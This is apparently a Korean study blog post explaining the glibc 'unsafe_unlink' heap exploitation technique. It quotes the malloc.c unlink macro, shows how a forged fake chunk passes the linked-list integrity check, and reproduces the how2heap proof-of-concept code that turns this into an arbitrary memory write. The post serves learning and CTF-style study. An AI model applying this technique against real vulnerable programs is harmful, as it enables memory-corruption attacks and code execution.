Unsafe_unlink

c0wb3ll ㅣ 2021. 2. 4. 09:50

Reference

https://github.com/shellphish/how2heap

https://dreamhack.io/learn/2/16#44

http://lazenca.net/pages/viewpage.action?pageId=1148137

https://koharinn.tistory.com/142

https://code1018.tistory.com/195?category=981925

https://rninche01.tistory.com/entry/heap-exploit-Unsafe-Unlink

https://wogh8732.tistory.com/195

https://midascopp.tistory.com/66

Unsafe_unlink

Unsafe_unlink는 헤더 값이 조작된 Fake chunk와 다른 인접한 chunk를 병합시킴으로써 비정상적으로 unlink매크로를 호출시켜 발생하는 취약점이다.

사용조건

  • 전역변수에서 힙 포인터를 관리
  • 두개의 Allocated Chunk가 필요하며 Fake Chunk를 생성할 수 있어야 한다.
  • Fake chunk와 인접한 chunk의 헤더(prev_size, size(prev_inuse bit)를 조작할 수 있어야 한다.

unlink 매크로

// malloc.c line 1414
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;                                      \
    BK = P->bk;                                      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                      \
        FD->bk = BK;                                  \
        BK->fd = FD;                                  \
        if (!in_smallbin_range (P->size)                      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {              \
        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)          \
        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
          malloc_printerr (check_action,                      \
                   "corrupted double-linked list (not small)",    \
                   P, AV);                          \
            if (FD->fd_nextsize == NULL) {                      \
                if (P->fd_nextsize == P)                      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;              \
                else {                                  \
                    FD->fd_nextsize = P->fd_nextsize;                  \
                    FD->bk_nextsize = P->bk_nextsize;                  \
                    P->fd_nextsize->bk_nextsize = FD;                  \
                    P->bk_nextsize->fd_nextsize = FD;                  \
                  }                                  \
              } else {                                  \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;              \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;              \
              }                                      \
          }                                      \
      }                                          \
}

malloc.c 에 정의된 unlink 소스코드

검증

  • prev_inuse bit 검증

      // malloc.c line 1270
      /* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */
      #define PREV_INUSE 0x1
    
      /* extract inuse bit of previous chunk */
      #define prev_inuse(p)       ((p)->size & PREV_INUSE)
    
      // malloc.c line 4173
      if (!prev_inuse(p)) {
              prevsize = p->prev_size;
              size += prevsize;
              p = chunk_at_offset(p, -((long) prevsize));
              unlink(av, p, bck, fwd);
            }
    • prev_inuse bit가 0인지 확인하는 코드이다.
  • Valid Chunk Pointer

          if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
            malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    • FD→bk = P

    • BK→fd = P

    • 위 값이 맞는지 확인한다.

    • 확인하는 이유는 아래와 같다.

      https://user-images.githubusercontent.com/40850499/106772835-bea27980-6683-11eb-9596-e5a57b4cb4a3.png
    • 정상적인 free된 힙 청크들 사이에 링크 관계이다.

    • 따라서 정상적인 freed chunk라면 FD→bk = P, BK→fd = P를 나타내게 된다.

Unsafe_unlink attack

힙 익스에서는 가장 중요한것이 fake chunk의 구성이다. 이번 Unsafe_unlink에서도 위 2가지 검증을 우회하기 위해 fake chunk를 구성한다.

https://user-images.githubusercontent.com/40850499/106786018-6b372800-6691-11eb-954a-db54343f488e.png

  • Allocated chunk 2개를 할당해준다.

https://user-images.githubusercontent.com/40850499/106797617-32eb1600-66a0-11eb-8911-43f7a0a082fb.png

  • 검증을 우회하기 위한 fake chunk를 구성해준다.
  • fake chunk 구성은 아래와 같다.
    • prev_size = 0x00
    • size = 0x00
    • FD = [전역변수 힙 포인터 주소] - 0x18
    • BK = [전역변수 힙 포인터 주소] - 0x10
    • 인접한 다음 청크의 prev size = fake chunk size
    • 인접한 다음 청크의 size = size &= ~1 (and 연산으로 prev_inuse bit 0으로 활성화)

https://user-images.githubusercontent.com/40850499/106797869-86f5fa80-66a0-11eb-8743-e068454372a6.png

  • free(ptr2)
  • ptr2 청크의 prev_inuse bit를 0으로 변환했기 때문에 병합을 진행하기 위해 unlink 매크로 호출
  • 이 때 병합하기 위한 인접 청크의 위치를 알기 위해 prev_size를 사용
  • ptr2 청크의 시작 주소 - prev_size 값으로 병합할 청크를 구함
  • prev_size는 fake chunk의 크기이므로 fake chunk와 병합

https://user-images.githubusercontent.com/40850499/106797998-b73d9900-66a0-11eb-95cc-e4d4818e6c20.png

  • 검증 우회

          FD = P->fd;                                      \
          BK = P->bk;                                      \
    
          if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
            malloc_printerr (check_action, "corrupted double-linked list", P, AV);
  • FD→bk 가 P를 가리켜야 하는데 전역변수로 할당된 [힙 포인터 주소 - 24]를 하면 전역변수를 힙 구조로 보게되고 힙 구조로 보았을 때 bk가 자기 자신의 포인터이기 때문에 FD→bk(P→fd→bk) == P가 성립하게 된다.

https://user-images.githubusercontent.com/40850499/106798712-b5280a00-66a1-11eb-96d2-e370283d7e80.png

  • 검증 우회

          FD = P->fd;                                      \
          BK = P->bk;                                      \
    
          if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
            malloc_printerr (check_action, "corrupted double-linked list", P, AV);
  • 마찬가지로 P→fd 를 [힙 포인터 주소 - 18]로 해주면 BK→fd == P를 성립시킬 수 있다.

https://user-images.githubusercontent.com/40850499/106828088-da7e3d80-66cc-11eb-833f-0a5ea5d953aa.png

  • 검증을 모두 우회하여 다음 코드가 실행된다.
        FD->bk = BK;                                  \
        BK->fd = FD;                                  \
  • 그럼 이제 전역 힙 포인터인 ptr1에 무언가를 쓰게되면 0x601060부터 값을 쓰기 시작한다.
  • 16byte값의 더미를 주면 다시 ptr1의 주소를 변경시킬 수 있다.
  • 이때 ptr1의 주소의 다른 함수의 got 값, 다른 변수의 값을 변형하는 등 다양한 방법을 사용하여 공격할 수 있다.

how2heap unsafe_unlink.c 소스코드

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
    setbuf(stdout, NULL);
    printf("Welcome to unsafe unlink 2.0!\n");
    printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
    printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
    printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

    int malloc_size = 0x80; //we want to be big enough not to use fastbins
    int header_size = 2;

    printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    printf("We create a fake chunk inside chunk0.\n");
    printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
    printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

    printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
    printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
    chunk1_hdr[0] = malloc_size;
    printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
    printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
    chunk1_hdr[1] &= ~1;

    printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
    printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
    free(chunk1_ptr);

    printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    printf("Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);

    // sanity check
    assert(*(long *)victim_string == 0x4141414142424242L);
}

이 소스코드는 위에서 설명한 unsafe_unlink 기법을 이용하여 전역 힙 포인터인 chunk0_ptr을 이용하여 스택에 있는 값인 victim_string의 값을 변경하는 소스코드이다.

https://user-images.githubusercontent.com/40850499/106828531-c1c25780-66cd-11eb-86b1-d89567010578.png

victim_string에 있던 원래 값은 Hello!~ 였지만 unsafe_unlink 기법을 이용해 BBBBAAAA(0x4242424241414141)로 변경된 것을 확인할 수 있다.

매우재미따

진짜 힙 너무 재밌다..... 물론 이해되었을 때..... 힙을 처음 보면 ㅇ...? 이게 뭐지 하다가 계속 보고있으면 이해되면서 하나하나 깨달을 때마다 신나고 재밌는거 같다.... 힙 짱잼....ㅎㅎㅎㅎㅎㅎ